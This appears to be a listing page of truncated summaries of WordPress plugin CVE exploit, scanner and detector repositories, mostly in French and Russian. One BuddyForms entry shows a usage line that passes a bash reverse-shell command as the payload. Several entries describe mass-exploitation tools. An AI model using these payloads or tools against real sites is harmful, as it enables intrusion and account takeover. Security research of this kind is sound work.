CVE-2025-0924-different

Autre vulnérabilité découverte lors de l'analyse de CVE-2025-0924 01. Aperçu du Stored XSS, WordPress et WP Activity Log 1 Aperçu du Stored XSS, WordPress et WP Activity Log Le Stored XSS XSS stocké est une vulnérabilité où un script malveillant est stocké sur le serveur et exécuté automatiquemen...

CVE-2024-8856

CVE-2024-8856 Cet outil analyse les sites WordPress à la recherche de vulnérabilités dans le plugin WP Time Capsule liées à CVE-2024-8856. Il identifie les versions du plugin inférieures à « 1.22.22 » comme vulnérables et enregistre les résultats dans « vuln.txt ». Simple et efficace, il aide les...

CVE-2026-10795

CVE-2026-10795 CVE-2026-10795 – PoC du contournement d’authentification UpdraftPlus ⚠️ Avertissement : Ce dépôt est uniquement à but éducatif. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test. L’auteur n’est pas responsable de...

CVE-2026-84169: Authorization Bypass Through User-Controlled Key

The UPI QR Code Payment Gateway WordPress plugin through 1.4.3 does not verify that a payment-confirmation request actually belongs to the order and customer it claims to confirm, allowing unauthenticated attackers to mark an arbitrary order as paid without making any payment...

CVE-2025-39436

🚨 Эксплойт плагина WordPress: CVE-2025-39436 📝 Описание Уязвимость неограниченной загрузки файлов опасного типа существует в плагине WordPress "I Draw". Этот эксплойт позволяет злоумышленникам загружать вредоносные файлы без ограничений. Проблема затрагивает версии I Draw до 1.0. 🛠️ Детали...

CVE-2024-12542

CVE-2024-12542 linkID = 0.1.2 - Autorisation manquante permettant l'exposition d'informations sensibles sans authentification Description Le plugin linkID pour WordPress est vulnérable à un accès non autorisé aux données en raison d'un contrôle de capacité manquant lors de l'inclusion de la...

CVE-2024-10924

Exploit pour CVE-2024-10924 Plugin WordPress Really Simple Security - Contournement de l'authentification 📌 Aperçu CVE-2024-10924 est une vulnérabilité critique de contournement de l'authentification dans le plugin Really Simple Security pour WordPress versions 9.0.0 à 9.1.1.1. Cette vulnérabilit...

CVE-2024-2876

CVE-2024-2876 - Уязвимость SQL-инъекции в Email Subscribers от Icegram Express Обзор CVE-2024-2876 — это критическая уязвимость безопасности, обнаруженная в плагине "Email Subscribers by Icegram Express" для WordPress. Эта уязвимость затрагивает версии до 5.7.14 включительно и представляет...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' À l'origine, CVE-2023–26326 nécessitait des chaînes de gadgets pour l'exploiter comme une vulnérabilité de désérialisation. Cette méthode n'est plus réalisable sur les sites WordPress récents fonctionnant sou...

CVE-2025-68860

CVE-2025-68860 Le plugin WordPress Mobile builder La vulnérabilité Contournement d'authentification via un chemin ou canal alternatif dans Mobile Builder permet un abus d'authentification. Ce problème affecte Mobile builder de n/a à 1.4.2. Score CVSS : 9.8 CRITIQUE Vecteur :...

CVE-2026-8181

EN : PoC contrôlé et brèves notes techniques pour tests de sécurité autorisés du contournement d’authentification dans Burst Statistics...

CVE-2014-4725

CVE-2014-4725 Этот скрипт используется для сканирования и эксплуатации уязвимости CVE-2014-4725 рассылки mailpoet/wysija в WordPress. возможности режим сканирования обнаружение целей WordPress, уязвимых для CVE-2014-4725 режим эксплуатации загрузка ZIP-полезной нагрузки на уязвимые цели установка...

Mass-CVE-2023-28121-kdoec

CVE-2023-28121 WooCommerce Payments 5.6.2 - Élévation de privilèges non authentifiée Ajout massif d'utilisateurs administrateurs Comment utiliser Ce script utilise Python3. Installez les dépendances pip install -r requirements.txt Référence...

CVE-2026-76581-Detector

CVE-2026-76581 — Детектор уязвимости WPMU DEV Dashboard Безопасный пассивный детектор на Python для выявления установок WordPress, на которых работает версия WPMU DEV Dashboard , подверженная уязвимости CVE-2026-76581. Детектор не эксплуатирует обход аутентификации, не запрашивает и не...

CVE-2026-9830

CVE-2026-9830 BookingPress Pro API Assessment PoC Этот репозиторий содержит Python-реализацию PoC для проверки сообщённой неаутентифицированной уязвимости REST API BookingPress Pro. Успешный ответ может содержать информацию о бронированиях и клиентах, включая персональные данные. Требуется...

CVE-2024-10245

CVE-2024-10245 Relais 2FA = 1.0 - Contournement de l'authentification Description Le plugin Relais 2FA pour WordPress est vulnérable à un contournement de l'authentification dans les versions jusqu'à la 1.0 incluse. Cela est dû à une vérification incorrecte de l'authentification et des capacités...

CVE-2022-1386

Description Fusion Builder est un plugin WordPress qui permet aux utilisateurs de créer et d'éditer des pages à l'aide d'une interface glisser-déposer. Il est vulnérable à une SSRF non authentifiée qui permet à un attaquant de lire n'importe quel fichier sur le serveur. Preuve de concept Requête ...

CVE-2024-52380

CVE-2024-52380 Picsmize = 1.0.0 - Téléchargement arbitraire de fichiers non authentifié Description Le plugin Picsmize pour WordPress est vulnérable aux téléchargements arbitraires de fichiers en raison de l'absence de validation du type de fichier dans toutes les versions jusqu'à la 1.0.0 inclus...

CVE-2023-6063-PoC

CVE-2023-6063-PoC Exploitation d'une vulnérabilité d'injection SQL dans WP Fastest Cache CVE-2023-6063...

CVE-2023-2916

CVE-2023-2916 CVE-2023-2916 PoC Le plugin InfiniteWP Client pour WordPress, dans les versions jusqu'à 1.11.1 incluses, est vulnérable à une faille de divulgation d'informations sensibles. Cette vulnérabilité permet à des attaquants authentifiés disposant d'autorisations de niveau abonné ou...